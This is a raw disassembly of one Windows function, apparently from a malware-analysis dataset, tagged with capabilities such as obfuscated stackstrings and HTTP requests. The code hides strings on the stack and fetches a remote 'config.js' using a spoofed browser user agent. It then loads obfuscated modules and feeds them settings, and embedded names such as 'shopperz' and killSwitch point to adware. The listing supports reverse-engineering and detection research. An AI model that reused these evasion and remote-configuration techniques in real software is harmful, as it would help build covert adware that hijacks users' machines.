Function at 0x40936b
Capabilities:
Contain obfuscated stackstrings
Create http request
Link many functions at runtime
Parse pe header
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x436efe
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x13160
call fcn.00421640
mov eax, dword [0x445610]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, ecx
mov dword [ebp - 0x13158], esi
mov eax, dword [esi + 0x410]
xor ebx, ebx
mov dword [ebp - 0x13150], esi
mov dword [ebp - 0x1313c], ebx
mov dword [ebp - 0x13134], ebx
mov dword [ebp - 0x1312c], ebx
mov dword [ebp - 4], ebx
test eax, eax
je 0x4093e0
push eax
push dword [esi + 4]
call dword [sym.imp.USER32.dll_KillTimer]
mov dword [esi + 0x410], ebx
mov dword [ebp - 0x12f84], 0xf
mov dword [ebp - 0x12f88], ebx
mov byte [ebp - 0x12f98], bl
movdqa xmm0, xmmword [0x4397e0]
lea ecx, [ebp - 0x12ff8]
push 0x6a
pop eax
push 0x73
mov byte [ebp - 0x2ac], al
pop eax
movdqu xmmword [ebp - 0x2dc], xmm0
mov byte [ebp - 0x2ab], al
lea eax, [ebp - 0x2dc]
movdqa xmm0, xmmword [0x4397d0]
movdqu xmmword [ebp - 0x2cc], xmm0
push eax
movdqa xmm0, xmmword [str.tless_js_config.Node_shopperz011SoftwareWow6432_47C7_94A5_DCC83FAECC00E_8025Set_dailyPixelIDLiveSwitchParamNkillSwitchParamNSet_dailyPixelURGetToasterUPAndSlocalStoreFileNaSet_sleepParamNaSet_localStorePaSetkillForeverPaSet_localStoreDeGetSwitchUPAndSeDefaultSearchCheClearLSParamNameUnlock_dailyPixeSet_localStoreFilocalStoreDefaulSet_ClearLSParamaliveSwitchParamSetstartRdrParamkillForeverParam_evtextDailyPingseg1ext1rnSHGetKnownFolderprotected_valuKillSwitchInMinu6t7.hwcdn.net_exhttp:__cds.q2u3z]
mov byte [ebp - 4], 1
movdqu xmmword [ebp - 0x2bc], xmm0
mov byte [ebp - 0x2aa], bl
call fcn.004029f6
push 0x70
pop eax
push 0x64
mov byte [ebp - 0x9f], al
pop eax
push 0x61
mov byte [ebp - 0x9e], al
pop eax
push 0x74
pop ecx
push 0x65
mov byte [ebp - 0x9d], al
pop eax
push 0x2e
mov byte [ebp - 0x9b], al
pop eax
push 0xb8
mov byte [ebp - 0x9a], al
lea eax, [ebp - 0x130b0]
push ebx
push eax
mov byte [ebp - 4], 2
mov byte [ebp - 0xa0], 0x75
mov byte [ebp - 0x9c], cl
mov byte [ebp - 0x99], cl
mov byte [ebp - 0x98], 0x78
mov byte [ebp - 0x97], cl
mov byte [ebp - 0x96], bl
call fcn.0041f3b0
add esp, 0xc
lea eax, [ebp - 0xa0]
lea ecx, [ebp - 0x130b0]
push 1
push 0x40
push 1
push eax
call fcn.0040261d
cmp dword [ebp - 0x13050], 0
mov byte [ebp - 4], 3
je 0x409520
mov eax, dword [ebp - 0x130b0]
lea ecx, [ebp - 0x12ff8]
mov byte [ebp - 0x28], 1
push dword [ebp - 0x28]
mov eax, dword [eax + 4]
push ebx
mov eax, dword [ebp + eax - 0x13078]
test eax, eax
sete byte [ebp - 0x38]
push dword [ebp - 0x38]
push eax
call fcn.00401f72
lea ecx, [ebp - 0x130b0]
call fcn.00413f9e
lea eax, [ebp - 0x12ff8]
mov dword [ebp - 0x13138], ebx
push eax
lea eax, [ebp - 0x13170]
mov ecx, esi
push eax
call fcn.00406996
cmp dword [eax + 0x14], 8
mov byte [ebp - 4], 4
jb 0x409547
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x13138]
call fcn.004024d5
push ebx
push 1
lea ecx, [ebp - 0x13170]
mov byte [ebp - 4], 6
call fcn.00413939
push 0x4d
pop eax
push 0x6f
mov word [ebp - 0x210], ax
pop eax
push 0x7a
mov word [ebp - 0x20e], ax
pop eax
push 0x69
mov word [ebp - 0x20c], ax
pop eax
push 0x6c
mov word [ebp - 0x20a], ax
pop eax
push 0x61
mov word [ebp - 0x208], ax
mov word [ebp - 0x206], ax
pop eax
push 0x2f
mov word [ebp - 0x204], ax
pop eax
push 0x35
mov word [ebp - 0x202], ax
pop eax
push 0x2e
pop edi
push 0x30
mov word [ebp - 0x200], ax
pop eax
push 0x20
pop edx
push 0x28
pop ecx
push 0x57
mov word [ebp - 0x1fc], ax
pop eax
push 0x69
mov word [ebp - 0x1f6], ax
pop eax
push 0x6e
mov word [ebp - 0x1f4], ax
pop eax
push 0x64
mov word [ebp - 0x1f8], cx
pop ecx
push 0x6f
mov word [ebp - 0x1f2], ax
pop eax
push 0x77
mov word [ebp - 0x1ee], ax
pop eax
push 0x73
mov word [ebp - 0x1ec], ax
pop eax
push 0x4e
mov word [ebp - 0x1ea], ax
pop eax
push 0x54
mov word [ebp - 0x1e6], ax
pop eax
push 0x36
mov word [ebp - 0x1fa], dx
mov word [ebp - 0x1e8], dx
mov word [ebp - 0x1e2], dx
pop edx
mov word [ebp - 0x1fe], di
mov word [ebp - 0x1f0], cx
mov word [ebp - 0x1e4], ax
mov word [ebp - 0x1e0], dx
mov word [ebp - 0x1de], di
push 0x32
pop eax
push 0x3b
mov word [ebp - 0x1dc], ax
pop eax
push 0x20
mov word [ebp - 0x1da], ax
pop eax
push 0x57
pop edi
push 0x4f
pop ecx
push 0x34
mov word [ebp - 0x1d4], cx
pop ecx
push 0x29
mov word [ebp - 0x1ce], cx
pop ecx
push 0x41
mov word [ebp - 0x1d8], ax
mov word [ebp - 0x1ca], ax
pop eax
push 0x70
mov word [ebp - 0x1c8], ax
pop eax
push 0x6c
mov word [ebp - 0x1cc], cx
mov word [ebp - 0x1c6], ax
mov word [ebp - 0x1c4], ax
pop eax
push 0x65
mov word [ebp - 0x1c2], ax
pop eax
push 0x62
pop ecx
push 0x4b
mov word [ebp - 0x1ba], cx
pop ecx
push 0x69
mov word [ebp - 0x1b8], cx
pop ecx
push 0x74
mov word [ebp - 0x1d6], di
mov word [ebp - 0x1d2], di
mov word [ebp - 0x1be], di
pop edi
push 0x2f
mov word [ebp - 0x1b6], cx
pop ecx
push 0x35
mov word [ebp - 0x1b2], cx
pop ecx
push 0x33
mov word [ebp - 0x1b0], cx
pop ecx
push 0x37
mov word [ebp - 0x1b4], di
pop edi
push 0x2e
mov word [ebp - 0x1ac], di
pop edi
push 0x20
mov word [ebp - 0x1aa], di
pop edi
push 0x28
mov word [ebp - 0x1ae], cx
mov word [ebp - 0x1a8], cx
pop ecx
push 0x4b
mov word [ebp - 0x1a2], cx
pop ecx
push 0x48
mov word [ebp - 0x1a0], cx
pop ecx
push 0x54
mov word [ebp - 0x19e], cx
mov word [ebp - 0x1d0], dx
mov word [ebp - 0x1c0], ax
mov word [ebp - 0x1bc], ax
mov word [ebp - 0x1a6], dx
mov word [ebp - 0x1a4], di
pop ecx
push 0x4d
mov word [ebp - 0x19c], cx
pop ecx
push 0x4c
mov word [ebp - 0x19a], cx
pop ecx
push 0x2c
mov word [ebp - 0x198], cx
pop ecx
push 0x6c
mov word [ebp - 0x196], cx
pop ecx
push 0x69
mov word [ebp - 0x192], cx
pop ecx
push 0x6b
mov word [ebp - 0x190], cx
pop ecx
push edi
mov word [ebp - 0x18e], cx
pop ecx
push 0x47
pop edx
push 0x63
mov word [ebp - 0x188], dx
pop edx
push 0x6b
mov word [ebp - 0x184], dx
pop edx
push 0x6f
mov word [ebp - 0x182], dx
pop edx
push 0x29
mov word [ebp - 0x194], di
pop edi
push 0x43
mov word [ebp - 0x18a], cx
mov word [ebp - 0x17c], cx
pop ecx
push 0x68
mov word [ebp - 0x17a], cx
pop ecx
push 0x72
mov word [ebp - 0x178], cx
pop ecx
push edx
mov word [ebp - 0x176], cx
pop ecx
push 0x6d
mov word [ebp - 0x174], cx
pop ecx
push 0x2f
mov word [ebp - 0x18c], ax
mov word [ebp - 0x186], ax
mov word [ebp - 0x170], ax
pop eax
push 0x33
mov word [ebp - 0x17e], di
pop edi
push 0x31
mov word [ebp - 0x16e], ax
pop eax
push 0x2e
mov word [ebp - 0x172], cx
pop ecx
push 0x30
mov word [ebp - 0x180], dx
pop edx
push 0x36
mov word [ebp - 0x166], dx
pop edx
push 0x35
mov word [ebp - 0x16a], ax
mov word [ebp - 0x162], ax
pop eax
mov word [ebp - 0x16c], di
mov word [ebp - 0x168], cx
mov word [ebp - 0x164], cx
mov word [ebp - 0x160], dx
mov word [ebp - 0x15e], ax
push 0x30
pop eax
push 0x20
mov word [ebp - 0x15c], ax
mov word [ebp - 0x156], di
pop edi
push 0x53
pop eax
push 0x61
mov word [ebp - 0x152], ax
pop eax
push 0x66
mov word [ebp - 0x150], ax
mov word [ebp - 0x14c], ax
mov word [ebp - 0x154], di
pop edi
push 0x72
pop eax
push 0x69
mov word [ebp - 0x14a], ax
pop eax
push 0x2f
mov word [ebp - 0x148], ax
pop eax
push 0x35
mov word [ebp - 0x146], ax
pop eax
push 0x33
mov word [ebp - 0x144], ax
pop eax
push 0x37
mov word [ebp - 0x14e], di
pop edi
push ebx
push ebx
mov word [ebp - 0x142], ax
mov word [ebp - 0x13c], ax
xor eax, eax
push ebx
mov word [ebp - 0x138], ax
lea eax, [ebp - 0x210]
push ebx
push eax
mov word [ebp - 0x15a], cx
mov word [ebp - 0x158], dx
mov word [ebp - 0x140], di
mov word [ebp - 0x13e], cx
mov word [ebp - 0x13a], dx
call dword [sym.imp.WININET.dll_InternetOpenW]
push ebx
push 0x80000900
push ebx
push ebx
push dword [ebp - 0x13138]
mov edi, eax
push edi
mov dword [ebp - 0x13134], edi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 0x1312c], eax
test edi, edi
je 0x4099e6
test eax, eax
je 0x4099e6
mov dword [ebp - 0x12f08], ebx
lea ecx, [ebp - 0x12f08]
push ecx
push 0x1000
lea ecx, [ebp - 0x26fc]
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x409a87
push dword [ebp - 0x12f08]
lea eax, [ebp - 0x26fc]
push eax
lea ecx, [ebp - 0x12f98]
call fcn.00413b93
cmp dword [ebp - 0x12f08], 0
mov eax, dword [ebp - 0x1312c]
ja 0x409998
jmp 0x409a87
push 0x63
pop eax
push 0x6f
mov word [ebp - 0x7c], ax
pop eax
push 0x6e
mov word [ebp - 0x7a], ax
pop eax
push 0x66
mov word [ebp - 0x78], ax
pop eax
push 0x69
mov word [ebp - 0x76], ax
pop eax
push 0x67
mov word [ebp - 0x74], ax
pop eax
push 0x2e
pop edi
mov word [ebp - 0x72], ax
push 0x6a
pop eax
mov word [ebp - 0x6e], ax
push 0x73
pop eax
mov word [ebp - 0x6c], ax
xor eax, eax
mov word [ebp - 0x6a], ax
mov word [ebp - 0x12f40], ax
lea eax, [ebp - 0x7c]
push eax
mov word [ebp - 0x70], di
mov dword [ebp - 0x12f2c], 7
mov dword [ebp - 0x12f30], ebx
call fcn.0041fcca
pop ecx
push eax
lea eax, [ebp - 0x7c]
push eax
lea ecx, [ebp - 0x12f40]
call fcn.00413e4a
lea eax, [ebp - 0x12f98]
mov byte [ebp - 4], 7
push eax
lea eax, [ebp - 0x12f40]
mov ecx, esi
push eax
call fcn.0041003f
push ebx
push 1
lea ecx, [ebp - 0x12f40]
mov byte [ebp - 4], 6
call fcn.00413939
push 1
push ebx
lea eax, [ebp - 0x12f00]
mov byte [ebp - 0x12f00], 0x7b
push eax
lea ecx, [ebp - 0x12f98]
call fcn.004146a7
or edi, 0xffffffff
cmp eax, edi
je 0x409b08
push eax
push ebx
lea ecx, [ebp - 0x12f98]
call fcn.0041456e
lea ecx, [ebp - 0x12f98]
cmp ecx, eax
je 0x409ac9
push edi
push ebx
push eax
call fcn.00413c35
push 1
push edi
lea eax, [ebp - 0x12f00]
mov byte [ebp - 0x12f00], 0x7d
push eax
lea ecx, [ebp - 0x12f98]
call fcn.004157c3
cmp eax, edi
je 0x409b08
inc eax
lea ecx, [ebp - 0x12f98]
push eax
call fcn.0041453f
lea ecx, [ebp - 0x12f98]
cmp ecx, eax
je 0x409b08
push edi
push ebx
push eax
call fcn.00413c35
xor eax, eax
lea edi, [ebp - 0x12f50]
stosd dword es:[edi], eax
lea ecx, [ebp - 0x12f50]
push ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00418040
push 0x70
lea eax, [ebp - 0x13120]
mov byte [ebp - 4], 8
push ebx
push eax
call fcn.0041f3b0
add esp, 0xc
lea ecx, [ebp - 0x13120]
call fcn.004193d0
push 1
lea eax, [ebp - 0x12f50]
mov byte [ebp - 4], 9
push eax
lea eax, [ebp - 0x12f98]
push eax
lea ecx, [ebp - 0x13120]
call fcn.0041ab80
test al, al
je 0x40c47e
push 0x4d
pop eax
push 0x79
mov word [ebp - 0x120], ax
pop eax
push 0x68
mov word [ebp - 0x11e], ax
pop eax
push 0x6f
pop ecx
push 0x64
mov word [ebp - 0x11c], ax
pop eax
mov word [ebp - 0x118], ax
push 0x61
pop eax
mov word [ebp - 0x116], ax
xor eax, eax
mov word [ebp - 0x112], ax
lea eax, [ebp - 0x120]
mov word [ebp - 0x11a], cx
mov word [ebp - 0x114], cx
mov ecx, esi
push eax
call fcn.0040897d
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esi + 0x464], eax
test eax, eax
je 0x409d92
push 0x65
pop ecx
push 0x74
pop edx
push 0x73
mov byte [ebp - 0x23], cl
mov byte [ebp - 0x1d], cl
pop ecx
push 0x4c
mov byte [ebp - 0x1c], cl
mov byte [ebp - 0x1b], cl
pop ecx
push 0x69
mov byte [ebp - 0x1a], cl
pop ecx
push 0x73
mov byte [ebp - 0x19], cl
pop ecx
mov byte [ebp - 0x18], cl
lea ecx, [ebp - 0x24]
push ecx
push eax
mov byte [ebp - 0x24], 0x53
mov byte [ebp - 0x22], dl
mov dword [ebp - 0x21], 0x636f7250
mov byte [ebp - 0x17], dl
mov byte [ebp - 0x16], bl
call edi
mov dword [ebp - 0x13130], eax
test eax, eax
je 0x409d92
xor eax, eax
push 0x103fe
mov word [ebp - 0x12efc], ax
lea eax, [ebp - 0x12efa]
push ebx
push eax
call fcn.0041f3b0
add esp, 0xc
mov byte [ebp - 0x2c], 0x70
lea edi, [ebp - 0x12f18]
mov byte [ebp - 0x27], bl
lea ecx, [ebp - 0x12f28]
push 0x72
pop eax
mov byte [ebp - 0x2b], al
push 0x6f
pop eax
mov byte [ebp - 0x2a], al
push 0x63
pop eax
mov byte [ebp - 0x29], al
push 0x73
pop eax
mov byte [ebp - 0x28], al
xor eax, eax
stosd dword es:[edi], eax
push 0x439180
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00417fb0
lea eax, [ebp - 0x12f28]
mov byte [ebp - 4], 0xa
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x12f18]
push eax
lea ecx, [ebp - 0x12f50]
call fcn.00418f30
lea ecx, [ebp - 0x12f28]
mov byte [ebp - 4], 0xc
call fcn.00418260
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x3c], ebx
push eax
lea ecx, [ebp - 0x12f18]
mov dword [ebp - 0x38], ebx
call fcn.00418a20
mov edi, ebx
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x12f18]
call fcn.00418af0
push eax
lea ecx, [ebp - 0x3c]
call fcn.00418fc0
test al, al
jne 0x409d6d
imul eax, edi, 0x208
lea ecx, [ebp - 0x12efc]
add eax, ecx
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x13124], eax
inc edi
call fcn.00418a60
lea ecx, [ebp - 0x12f40]
push ecx
mov ecx, eax
call fcn.00418930
push eax
lea eax, [ebp - 0x12f68]
mov byte [ebp - 4], 0xd
push eax
mov ecx, esi
call fcn.00406996
cmp dword [eax + 0x14], 8
jb 0x409d2c
mov eax, dword [eax]
push eax
push 0x104
push dword [ebp - 0x13124]
call fcn.0041fc6e
add esp, 0xc
lea ecx, [ebp - 0x12f68]
push ebx
push 1
call fcn.00413939
push ebx
push 1
lea ecx, [ebp - 0x12f40]
mov byte [ebp - 4], 0xc
call fcn.004138f5
lea ecx, [ebp - 0x3c]
call fcn.00418f90
jmp 0x409cc6
lea eax, [ebp - 0x12efc]
push edi
push eax
call dword [ebp - 0x13130]
pop ecx
pop ecx
lea ecx, [ebp - 0x12f18]
mov byte [ebp - 4], 9
call fcn.00418260
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x52
pop eax
push 0x6f
mov word [ebp - 0x134], ax
pop eax
push 0x68
pop ecx
push 0x73
mov word [ebp - 0x132], ax
pop eax
push 0x79
pop edx
mov word [ebp - 0x12e], ax
mov word [ebp - 0x12a], ax
push 0x6a
pop eax
mov word [ebp - 0x128], ax
xor eax, eax
mov word [ebp - 0x124], ax
lea eax, [ebp - 0x134]
mov word [ebp - 0x130], cx
mov word [ebp - 0x126], cx
mov ecx, esi
push eax
mov word [ebp - 0x12c], dx
call fcn.0040897d
mov dword [esi + 0x468], eax
test eax, eax
je 0x40a3ee
push 0x65
pop ecx
push 0x74
mov byte [ebp - 0x2f], cl
pop ecx
push 0x61
mov byte [ebp - 0x2e], cl
pop ecx
mov byte [ebp - 0x2a], cl
mov byte [ebp - 0x28], cl
lea ecx, [ebp - 0x30]
push ecx
push eax
mov byte [ebp - 0x30], 0x53
mov word [ebp - 0x2d], 0x5341
mov byte [ebp - 0x2b], 0x50
mov byte [ebp - 0x29], 0x72
mov word [ebp - 0x27], 0x6d
call edi
mov dword [ebp - 0x13124], eax
test eax, eax
je 0x409f2c
movdqa xmm0, xmmword [0x439750]
lea edi, [ebp - 0x12f28]
push 0x61
pop eax
mov byte [ebp - 0x83], al
lea ecx, [ebp - 0x12f18]
push 0x65
pop eax
mov byte [ebp - 0x81], al
xor eax, eax
stosd dword es:[edi], eax
push 0x439180
movdqu xmmword [ebp - 0x94], xmm0
mov byte [ebp - 0x84], 0x4e
stosd dword es:[edi], eax
mov byte [ebp - 0x82], 0x6d
mov byte [ebp - 0x80], bl
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00417fb0
lea eax, [ebp - 0x12f18]
mov byte [ebp - 4], 0xe
push eax
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x12f28]
push eax
lea ecx, [ebp - 0x12f50]
call fcn.00418f30
lea ecx, [ebp - 0x12f18]
mov byte [ebp - 4], 0x10
call fcn.00418260
lea ecx, [ebp - 0x12f28]
call fcn.00418ff0
test al, al
jne 0x409f17
lea ecx, [ebp - 0x12f28]
call fcn.00419020
test al, al
je 0x409f17
lea eax, [ebp - 0x12f68]
push eax
lea ecx, [ebp - 0x12f28]
call fcn.00418930
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x11
jb 0x409f01
mov eax, dword [eax]
push eax
call dword [ebp - 0x13124]
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x12f68]
call fcn.004138f5
lea ecx, [ebp - 0x12f28]
mov byte [ebp - 4], 9
call fcn.00418260
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x65
pop eax
push 0x74
mov byte [ebp - 0x3f], al
pop eax
push 0x4b
mov byte [ebp - 0x3e], al
pop eax
push 0x61
mov byte [ebp - 0x3d], al
pop eax
mov byte [ebp - 0x3a], al
mov byte [ebp - 0x38], al
lea eax, [ebp - 0x40]
push eax
push dword [esi + 0x468]
mov byte [ebp - 0x40], 0x53
mov word [ebp - 0x3c], 0x5053
mov byte [ebp - 0x39], 0x72
mov word [ebp - 0x37], 0x6d
call edi
mov dword [ebp - 0x13124], eax
test eax, eax
je 0x40a048
movdqa xmm0, xmmword [0x439660]
lea edi, [ebp - 0x12f28]
push 0x61
pop eax
mov byte [ebp - 0x6c], al
lea ecx, [ebp - 0x12f18]
push 0x65
pop eax
mov byte [ebp - 0x6a], al
xor eax, eax
stosd dword es:[edi], eax
push 0x439180
movdqu xmmword [ebp - 0x7c], xmm0
mov byte [ebp - 0x6b], 0x6d
stosd dword es:[edi], eax
mov byte [ebp - 0x69], bl
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00417fb0
lea eax, [ebp - 0x12f18]
mov byte [ebp - 4], 0x12
push eax
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x12f28]
push eax
lea ecx, [ebp - 0x12f50]
call fcn.00418f30
lea ecx, [ebp - 0x12f18]
mov byte [ebp - 4], 0x14
call fcn.00418260
lea ecx, [ebp - 0x12f28]
call fcn.00418ff0
test al, al
jne 0x40a033
lea ecx, [ebp - 0x12f28]
call fcn.00419020
test al, al
je 0x40a033
lea eax, [ebp - 0x12f68]
push eax
lea ecx, [ebp - 0x12f28]
call fcn.00418930
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x15
jb 0x40a01d
mov eax, dword [eax]
push eax
call dword [ebp - 0x13124]
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x12f68]
call fcn.004138f5
lea ecx, [ebp - 0x12f28]
mov byte [ebp - 4], 9
call fcn.00418260
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
movdqa xmm0, xmmword [0x4396c0]
push 0x72
pop eax
push 0x61
mov byte [ebp - 0x12f30], al
pop eax
push 0x65
mov byte [ebp - 0x12f2f], al
mov byte [ebp - 0x12f2c], al
pop eax
mov byte [ebp - 0x12f2a], al
lea eax, [ebp - 0x12f40]
push eax
push dword [esi + 0x468]
movdqu xmmword [ebp - 0x12f40], xmm0
mov word [ebp - 0x12f2e], 0x4e6d
mov byte [ebp - 0x12f2b], 0x6d
mov byte [ebp - 0x12f29], bl
call edi
mov dword [ebp - 0x13124], eax
test eax, eax
je 0x40a195
movdqa xmm0, xmmword [0x439770]
lea edi, [ebp - 0x12f28]
push 0x61
pop eax
mov byte [ebp - 0x83], al
lea ecx, [ebp - 0x12f18]
push 0x65
pop eax
mov byte [ebp - 0x81], al
xor eax, eax
stosd dword es:[edi], eax
push 0x439180
movdqu xmmword [ebp - 0x94], xmm0
mov byte [ebp - 0x84], 0x4e
stosd dword es:[edi], eax
mov byte [ebp - 0x82], 0x6d
mov byte [ebp - 0x80], bl
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00417fb0
lea eax, [ebp - 0x12f18]
mov byte [ebp - 4], 0x16
push eax
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x12f28]
push eax
lea ecx, [ebp - 0x12f50]
call fcn.00418f30
lea ecx, [ebp - 0x12f18]
mov byte [ebp - 4], 0x18
call fcn.00418260
lea ecx, [ebp - 0x12f28]
call fcn.00418ff0
test al, al
jne 0x40a180
lea ecx, [ebp - 0x12f28]
call fcn.00419020
test al, al
je 0x40a180
lea eax, [ebp - 0x12f68]
push eax
lea ecx, [ebp - 0x12f28]
call fcn.00418930
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x19
jb 0x40a16a
mov eax, dword [eax]
push eax
call dword [ebp - 0x13124]
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x12f68]
call fcn.004138f5
lea ecx, [ebp - 0x12f28]
mov byte [ebp - 4], 9
call fcn.00418260
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x65
pop eax
push 0x74
mov byte [ebp - 0x67], al
pop eax
push 0x4c
mov byte [ebp - 0x66], al
pop eax
push 0x61
mov byte [ebp - 0x65], al
pop eax
mov byte [ebp - 0x62], al
mov byte [ebp - 0x60], al
lea eax, [ebp - 0x68]
push eax
push dword [esi + 0x468]
mov byte [ebp - 0x68], 0x53
mov word [ebp - 0x64], 0x5053
mov byte [ebp - 0x61], 0x72
mov word [ebp - 0x5f], 0x6d
call edi
mov dword [ebp - 0x13124], eax
test eax, eax
je 0x40a2b1
movdqa xmm0, xmmword [0x439650]
lea edi, [ebp - 0x12f28]
push 0x61
pop eax
mov byte [ebp - 0x6c], al
lea ecx, [ebp - 0x12f18]
push 0x65
pop eax
mov byte [ebp - 0x6a], al
xor eax, eax
stosd dword es:[edi], eax
push 0x439180
movdqu xmmword [ebp - 0x7c], xmm0
mov byte [ebp - 0x6b], 0x6d
stosd dword es:[edi], eax
mov byte [ebp - 0x69], bl
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00417fb0
lea eax, [ebp - 0x12f18]
mov byte [ebp - 4], 0x1a
push eax
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x12f28]
push eax
lea ecx, [ebp - 0x12f50]
call fcn.00418f30
lea ecx, [ebp - 0x12f18]
mov byte [ebp - 4], 0x1c
call fcn.00418260
lea ecx, [ebp - 0x12f28]
call fcn.00418ff0
test al, al
jne 0x40a29c
lea ecx, [ebp - 0x12f28]
call fcn.00419020
test al, al
je 0x40a29c
lea eax, [ebp - 0x12f68]
push eax
lea ecx, [ebp - 0x12f28]
call fcn.00418930
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x1d
jb 0x40a286
mov eax, dword [eax]
push eax
call dword [ebp - 0x13124]
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x12f68]
call fcn.004138f5
lea ecx, [ebp - 0x12f28]
mov byte [ebp - 4], 9
call fcn.00418260
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
movdqa xmm0, xmmword [0x439760]
push 0x61
pop eax
push 0x65
mov byte [ebp - 0xcf], al
pop eax
mov byte [ebp - 0xcd], al
lea eax, [ebp - 0xe0]
push eax
push dword [esi + 0x468]
movdqu xmmword [ebp - 0xe0], xmm0
mov byte [ebp - 0xd0], 0x4e
mov byte [ebp - 0xce], 0x6d
mov byte [ebp - 0xcc], bl
call edi
mov dword [ebp - 0x13124], eax
test eax, eax
je 0x40a3ee
push 0x73
pop eax
push 0x74
pop ecx
push 0x61
mov byte [ebp - 0x5c], al
lea edi, [ebp - 0x12f28]
pop eax
mov byte [ebp - 0x5a], al
mov byte [ebp - 0x53], al
mov byte [ebp - 0x51], al
xor eax, eax
stosd dword es:[edi], eax
push 0x72
pop edx
push 0x64
stosd dword es:[edi], eax
mov byte [ebp - 0x5b], cl
mov byte [ebp - 0x58], cl
pop ecx
stosd dword es:[edi], eax
mov byte [ebp - 0x56], cl
lea ecx, [ebp - 0x12f18]
push 0x439180
mov byte [ebp - 0x59], dl
mov byte [ebp - 0x57], 0x52
mov byte [ebp - 0x55], dl
mov byte [ebp - 0x54], 0x50
mov byte [ebp - 0x52], dl
mov word [ebp - 0x50], 0x6d
stosd dword es:[edi], eax
call fcn.00417fb0
lea eax, [ebp - 0x12f18]
mov byte [ebp - 4], 0x1e
push eax
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x12f28]
push eax
lea ecx, [ebp - 0x12f50]
call fcn.00418f30
push 0x20
pop eax
lea ecx, [ebp - 0x12f18]
mov byte [ebp - 4], al
call fcn.00418260
lea ecx, [ebp - 0x12f28]
call fcn.00418ff0
test al, al
jne 0x40a3df
lea ecx, [ebp - 0x12f28]
call fcn.00419020
test al, al
je 0x40a3df
lea eax, [ebp - 0x12f68]
push eax
lea ecx, [ebp - 0x12f28]
call fcn.00418930
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x21
jb 0x40a3c9
mov eax, dword [eax]
push eax
call dword [ebp - 0x13124]
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x12f68]
call fcn.004138f5
lea ecx, [ebp - 0x12f28]
mov byte [ebp - 4], 9
call fcn.00418260
push 0x4c
pop eax
push 0x65
mov word [ebp - 0x104], ax
pop eax
push 0x74
pop ecx
mov word [ebp - 0x102], ax
mov word [ebp - 0xfe], ax
push 0x61
pop eax
mov word [ebp - 0xfc], ax
xor eax, eax
mov word [ebp - 0xfa], ax
lea eax, [ebp - 0x104]
mov word [ebp - 0x100], cx
mov ecx, esi
push eax
call fcn.0040897d
mov dword [esi + 0x470], eax
test eax, eax
je 0x40a876
movdqa xmm0, xmmword [0x4396b0]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x74
pop ecx
mov byte [ebp - 0xd0], cl
lea ecx, [ebp - 0xe0]
push ecx
push eax
movdqu xmmword [ebp - 0xe0], xmm0
mov word [ebp - 0xcf], 0x68
call edi
movdqa xmm0, xmmword [0x439720]
push 0x6c
mov dword [ebp - 0x13128], eax
pop eax
push 0x65
pop ecx
push 0x61
mov byte [ebp - 0xe8], al
pop eax
mov byte [ebp - 0xe5], al
lea eax, [ebp - 0xf8]
push eax
push dword [esi + 0x470]
movdqu xmmword [ebp - 0xf8], xmm0
mov byte [ebp - 0xe7], cl
mov byte [ebp - 0xe6], 0x4e
mov byte [ebp - 0xe4], 0x6d
mov byte [ebp - 0xe3], cl
mov byte [ebp - 0xe2], bl
call edi
push 0x66
movdqa xmm0, xmmword [0x4396d0]
mov dword [ebp - 0x12f08], eax
pop eax
push 0x61
mov byte [ebp - 0xb8], al
pop eax
push 0x6c
pop edx
push 0x74
pop ecx
push 0x65
mov byte [ebp - 0xb7], al
mov byte [ebp - 0xb2], al
pop eax
mov byte [ebp - 0xaf], al
lea eax, [ebp - 0xc8]
push eax
push dword [esi + 0x470]
movdqu xmmword [ebp - 0xc8], xmm0
mov byte [ebp - 0xb6], 0x75
mov byte [ebp - 0xb5], dl
mov byte [ebp - 0xb4], cl
mov byte [ebp - 0xb3], 0x56
mov byte [ebp - 0xb1], dl
mov byte [ebp - 0xb0], 0x75
mov byte [ebp - 0xae], bl
call edi
cmp dword [ebp - 0x13128], 0
mov dword [ebp - 0x12f04], eax
je 0x40a670
push 0x6c
pop ecx
push 0x6f
